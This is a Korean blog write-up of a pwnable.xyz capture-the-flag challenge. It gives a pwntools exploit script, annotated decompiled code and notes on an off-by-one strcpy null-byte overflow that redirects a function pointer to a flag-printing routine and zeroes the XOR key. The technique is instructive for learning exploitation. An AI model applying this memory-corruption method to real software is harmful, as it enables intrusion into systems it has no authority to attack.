from pwn import *
p = remote("svc.pwnable.xyz", 30006)
# p = process("./challenge")
# gdb.attach(p)
# pause()
# read_int32()에서 입력값의 마지막 바이트 null로 변환하므로 sendline()
p.sendlineafter("> ", "3")
p.recvline()
p.sendafter("instead? ", "y")
p.sendafter("comment: ", "minseo")
# do_comment 1byte overflow(\x00), real_print_flag()를 가리킨다
p.sendlineafter("> ", "1")
p.sendlineafter("len: ", "64")
# char key[64]는 랜덤한 값으로 꽉차있음
# key[63]부터 key[1]까지 순서대로 NULL로 만들어버리자 (시간 좀 오래 걸림)
for i in range(63,0,-1):
p.sendlineafter("> ", "1")
p.sendlineafter("len: ", str(i))
# load flag (flag[0]만 랜덤값과 xor, 나머지는 그대로 저장)
p.sendlineafter("> ", "2")
# print flag
p.sendlineafter("> ", "3")
p.recvline()
p.sendafter("instead? ", "n")
p.interactive()
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int int32; // eax
unsigned int v4; // [rsp+Ch] [rbp-4h]
setup(argc, argv, envp);
puts("Muahaha you thought I would never make a crypto chal?");
// /dev/urandom 통해 63자의 랜덤한 키 generate
generate_key(63LL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_menu();
printf("> ");
// 31자리 정수까지 입력 가능, return atoi(s)
int32 = read_int32();
if ( int32 != 2 )
break;
load_flag();
}
if ( int32 > 2 )
break;
if ( int32 != 1 )
goto LABEL_12;
// 입력받은 길이(1~64)로 키 재생성
printf("key len: ");
v4 = read_int32();
generate_key(v4);
}
if ( int32 == 3 )
{
print_flag();
}
else if ( int32 != 4 )
{
LABEL_12:
puts("Invalid");
}
}
}
unsigned __int64 __fastcall generate_key(int a1)
{
int i; // [rsp+18h] [rbp-58h]
int fd; // [rsp+1Ch] [rbp-54h]
char s[72]; // [rsp+20h] [rbp-50h] BYREF
unsigned __int64 v5; // [rsp+68h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( a1 > 0 && (unsigned int)a1 <= 0x40 )
{
memset(s, 0, sizeof(s));
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
read(fd, s, a1);
for ( i = 0; i < a1; ++i )
{
// 키값은 전부 null이 아닌 값으로 생성
while ( !s[i] )
read(fd, &s[i], 1uLL);
}
// 전역변수 key에 복사
// strcpy() 함수는 끝나는 널 문자를 포함하여 string2를 string1에서 지정한 위치로 복사
// 즉 s에 64자 입력하면 s[64]='\x00' 까지 key에 복사함
strcpy(key, s);
close(fd);
}
else
{
puts("Invalid key size");
}
return __readfsqword(0x28u) ^ v5;
}
int load_flag()
{
unsigned int i; // [rsp+8h] [rbp-8h]
int fd; // [rsp+Ch] [rbp-4h]
fd = open("/flag", 0);
if ( fd == -1 )
{
puts("Can't open flag");
exit(1);
}
// 전역변수 flag에 0x40바이트만큼 읽어옴
read(fd, flag, 0x40uLL);
// key의 각 바이트와 xor 작업 함 (key[i]=0 이면 flag[i]는 그대로)
for ( i = 0; i <= 0x3F; ++i )
flag[i] ^= key[i];
return close(fd);
}
__int64 print_flag()
{
__int64 result; // rax
puts("WARNING: NOT IMPLEMENTED.");
// unsigned __int8 = unsigned char = 1Byte
result = (unsigned __int8)do_comment;
// 전역변수 do_comment=0 이면
if ( !(_BYTE)do_comment )
{
printf("Wanna take a survey instead? ");
// 'y' 입력 시 f_do_comment() 실행됨
if ( getchar() == 121 )
do_comment = f_do_comment;
return do_comment();
}
return result;
}
unsigned __int64 f_do_comment()
{
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter comment: ");
read(0, buf, 0x21uLL);
return __readfsqword(0x28u) ^ v2;
}
int real_print_flag()
{
return printf("%s", flag);
}
Full RELRO Canary found NX enabled PIE enabled
- flag를 유출할 방법을 먼저 찾아야됨, real_print_flag() 함수가 있네
- .text 영역에서 real_print_flag 와 f_do_comment는 인접해있음 (마지막 바이트만 다르네)
0x555555554b00 <real_print_flag> / 0x555555554b1f <f_do_comment>
마지막 바이트만 overwrite??? "off-by-one공격"
- 전역변수 char key[64]와 (__int64) (*do_comment) (void*) 변수는 인접해있음
- generate_key(0x40) 하면 key 1byte overflow 발생 -> do_comment의 첫바이트 \x00으로 바뀜
- PIE 적용되더라도 마지막 3자리는 안바뀜 (0x1000 단위로 물리적 메모리 잘라 관리하므로)
- print_flag() 실행시켜 do_comment에 f_do_comment 주소 저장시켜놓은 후
- generate_key(0x40) 해서 do_comment의 첫바이트 \x00으로 overwrite 시킨 후
- printf_flag() 실행시켜 'y'가 아닌 값 입력하면 real_print_flag() 실행 가능하다!
- 이제 플래그를 유출시켜보자 -> 이미 key[64]에는 랜덤한 값이 꽉 차있음
- generate_key(n) 실행 시 key에서 0~n-1은 랜덤한 값 채워지고, key[n]=null byte 된다
(strcpy는 마지막 Null byte까지 copy하므로)
- n=63~1 변화시켜나가면 key[1~63] 모두 NULL byte로 만들 수 있음
블로그 라업들 보면서 추가로 알게 된 점
read(fd, s, a1) : fd파일의 내용을 s변수에 a1까지 저장한다. 이 때, 문자열 마지막에 널 값을(0x0)을 넣지 않는다.
strcpy(key, s) : key변수에 s변수의 내용을 복사하여 저장한다. 이 때, 문자열의 마지막은 널 값이므로 널 값이 나올 때까지 읽어서 널 값까지 포함하여 저장한다.
함수화 시키면 코드가 좀 더 보기 좋아진다?
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
def generate(size):
sla('>','1')
sla(':',str(size))
def loadflag():
sla('>','2')
def printflag(chk): # if 'y' -> f_do_comment(); function pointer
sla('>','3')
sla('?',chk);
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - l33t-ness (0) | 2023.02.07 |
---|---|
pwnable.xyz - Jmp table (0) | 2023.02.05 |
pwnable.xyz - free spirit (0) | 2023.02.05 |
pwnable.xyz - xor (0) | 2023.02.05 |
pwnable.xyz - two targets (0) | 2023.02.05 |